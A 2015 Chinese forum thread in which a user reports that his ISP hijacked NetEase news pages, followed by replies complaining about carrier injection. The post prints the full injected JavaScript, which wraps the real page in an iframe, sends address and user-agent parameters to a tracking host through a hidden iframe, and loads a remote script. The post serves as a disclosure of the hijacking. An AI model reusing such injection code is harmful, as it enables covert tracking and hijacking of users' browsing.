EEfaq论坛-赚客自留地

 找回密码
 免费注册
查看: 1265|回复: 14

上网奇遇记

  [复制链接]
发表于 2015-2-3 00:56:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:57 编辑

上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
1.jpg
接下来就是去搜索这个域名,
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼
http://www.v2ex.com/t/142197

4.jpg
顺便查下ip138:
2.JPG
这是那段js里面的代码,好象是个半成品还没写入广告数据:
[mw_shl_code=javascript,true]    function locationSearch() {
            var s = getMainJs();
            if (s == null) {
                    location.reload();
            }
            return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    }

    function getParameter(name, paraStr) {
            var result = "";
            var str = "&" + paraStr.split("?")[1];
            var paraName = "&" + name + "=";
            if (str.indexOf(paraName) != -1) {
                    if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
                            var TmpStr = str.substring(str.indexOf(paraName), str.length);
                            result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
                                            1, TmpStr.length).indexOf("&")
                                            - TmpStr.indexOf(paraName) + 1);
                    } else {
                            result = str.substring(str.indexOf(paraName), str.length);
                    }

                    result = result.substring(result.indexOf("=") + 1, result.length);
            } else {
                    result = "No such parameter";
            }
            return (result.replace("&", ""));
    }

    function getMainJs() {
            var scripts = document.getElementsByTagName("script");
            var s = null;
            for (var i = 0; i < scripts.length; i++) {
                    if (scripts != "undefined" && scripts.src.indexOf("t_c") != -1) {
                            s = scripts;
                            break;
                    }
            }
            return s;
    }

    function appendParam(oStr, aStr) {
            if (oStr.indexOf('?') > 0) {
                    oStr = oStr + "&" + aStr;
            } else {
                    oStr = oStr + "?" + aStr;
            }
            return oStr;
    }

    window.onerror = function() {
    };

    var g_titleTime = 0;
    function setTcTitle() {
            if (undefined == document) {
                    g_titleTime++;
                    setTimeout("setTcTitle();", 1000);
                    return;
            }

            var doc;
            try {
                    if (document.all) {
                            doc = document.frames["cn"].document;
                    } else {
                            doc = document.getElementById("cn").contentDocument;
                    }
            } catch (ex) {
            }

            if (g_titleTime < 5
                            && (undefined == doc || undefined == doc.title || "" == doc.title)) {
                    g_titleTime++;
                    setTimeout("setTcTitle();", 1000);
                    return;
            } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
                    document.title = doc.title;
                    setTcAdvVisible();
            }
    }

    setTimeout("setTcTitle();", 1000);

    var g_isHaveVisible = false;
    function setTcAdvVisible() {
            if (undefined != document && undefined != document.getElementById("addiv")
                            && !g_isHaveVisible) {
                    document.getElementById("addiv").style.visibility = 'visible';
                    document.getElementById("addiv").style.display = 'block';
                    g_isHaveVisible = true;
            }
    }

    function UrlAnalyzer() {
            this.divda = "";
            this.tctype = "";
            this.radius = "";
            this.rlu = "";
    }

    UrlAnalyzer.prototype.initParameters = function() {
            var paraStr = locationSearch();
            this.rlu = getParameter("lruedct", paraStr);
            this.divda = getParameter("divda", paraStr);
            this.radius = getParameter("radius", paraStr);
            this.tctype = getParameter("tctype", paraStr);
            this.address = getParameter("address", paraStr);
            this.usagent = getParameter("usagent", paraStr);
    }

    UrlAnalyzer.prototype.getHtmlDoc = function() {
            var doc;
            try {
                    if (document.all) {
                            doc = document.frames["cn"].document;

                    } else {
                            doc = document.getElementById("cn").contentDocument;
                            // doc = document.getElementById("cn").contentWindow.document;
                    }
            } catch (ex) {
            }
            return doc;
    }

    UrlAnalyzer.prototype.setDomain = function() {
            if (undefined != document.title && "" == document.title)
            {
                    var index = document.domain.indexOf(".");
                    if (undefined != index && -1 != index) {
                            document.domain = document.domain.substring(index + 1,
                                            document.domain.length);
                    }
                  
                    var doc = this.getHtmlDoc();
                    if (undefined != doc && undefined != doc.title && "" != doc.title) {
                            document.title = doc.title;
                            setTcAdvVisible();
                    }
            }
    }

    UrlAnalyzer.prototype.iframeCallback = function() {
            var doc = this.getHtmlDoc();
            if (undefined == doc || undefined == doc.title || "" == doc.title) {
                    if (undefined != document.domain) {

                            var self = this;
                            setTimeout(function(){self.setDomain.call(self, null)}, 1000);
                            // var index = document.domain.indexOf(".");
                            // if (undefined != index && -1 != index) {
                            // document.domain = document.domain.substring(index + 1,
                            // document.domain.length);
                            // }
                            //
                            // var doc = this.getHtmlDoc();
                            // if (undefined != doc && undefined != doc.title && "" !=
                            // doc.title) {
                            // document.title = doc.title;
                            // setTcAdvVisible();
                            // }
                    }
            } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
                    document.title = doc.title;
                    setTcAdvVisible();
            }
    }

    UrlAnalyzer.prototype.executeHtmlContext = function() {
            var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
                            + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;

            var htmlStr = "<iframe src=\"" + staUrl
                            + "\" style=\"display:none\"></iframe>";

            var advUrl = htmlStr
                            + "<script src=\"http://c2.sxite.com:8060/center?advId="
                            + this.divda + "&radius=" + this.radius  + "&area=1" + "\"><\/script>";
            document.write(advUrl);

            var self = this;
            var iframe = document.getElementById("cn");
            if (iframe.attachEvent) {
                    iframe.attachEvent("onload", function() {
                            self.iframeCallback.call(self, null);
                    });
            } else {
                    iframe.onload = function() {
                            self.iframeCallback.call(self, null);
                    }
            }
    }

    UrlAnalyzer.prototype.executeMain = function() {
            var mainFrame = document.getElementById("cn");
            mainFrame.contentWindow.location.href = mainFrame.src;
            this.initParameters();
            this.executeHtmlContext();
    }

    var g_analyzer = new UrlAnalyzer();
    g_analyzer.executeMain();



[/mw_shl_code]




回复

使用道具 举报

发表于 2015-2-3 09:28:56 | 显示全部楼层
呵呵,没干净的,什么时候普及全网https呀。。。。。。。。
回复 支持 反对

使用道具 举报

发表于 2015-2-3 09:48:05 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

发表于 2015-2-3 11:38:37 | 显示全部楼层
我这里也是,只要登录淘宝就被劫持,修改DNS也没用...
回复 支持 反对

使用道具 举报

发表于 2015-2-3 21:17:45 | 显示全部楼层
这才哪到哪,双11的时候,半夜随便打开个网站直接跳淘宝。。
回复 支持 反对

使用道具 举报

发表于 2015-2-4 07:59:40 | 显示全部楼层
域名劫持,dns污染这都是他们干的好事,一个字钱啊
回复 支持 反对

使用道具 举报

发表于 2015-2-4 08:20:12 | 显示全部楼层
越来越不要脸了,反正人家有便利条件,有国家撑腰哎,真操蛋
回复 支持 反对

使用道具 举报

发表于 2015-2-4 08:41:40 | 显示全部楼层
电信的为了钱早就不要脸了,我这电信的隔山岔五的几个人做笼子上台表演。
回复 支持 反对

使用道具 举报

发表于 2015-2-4 09:07:49 | 显示全部楼层
为了钱都不要脸了。。。。。。。。。。。。。
回复 支持 反对

使用道具 举报

发表于 2015-2-4 09:47:38 | 显示全部楼层
垄断的豆可以作恶,这事情遇到不是几次了

点评

确实啊 似乎在中国 这个问题根本解决不了  发表于 2015-2-4 12:03
回复 支持 反对

使用道具 举报

发表于 2015-2-4 12:04:18 | 显示全部楼层
这给了360等软件不少市场 万恶的社会
回复 支持 反对

使用道具 举报

发表于 2015-2-4 19:46:41 | 显示全部楼层
这里想到老罗捐的 200W 貌似给 。。。。
回复 支持 反对

使用道具 举报

发表于 2015-2-4 21:51:14 | 显示全部楼层
中国电信很恶心的              
回复 支持 反对

使用道具 举报

发表于 2015-2-8 22:28:01 | 显示全部楼层
LZ投诉到通管局和工信部,多少还是有点用的
回复 支持 反对

使用道具 举报

发表于 2015-2-8 23:09:13 | 显示全部楼层
赞  专业精神                              
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

QQ|联系我们|Archiver|手机版|小黑屋|EEfaq论坛

GMT+8, 2024-4-27 19:08

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表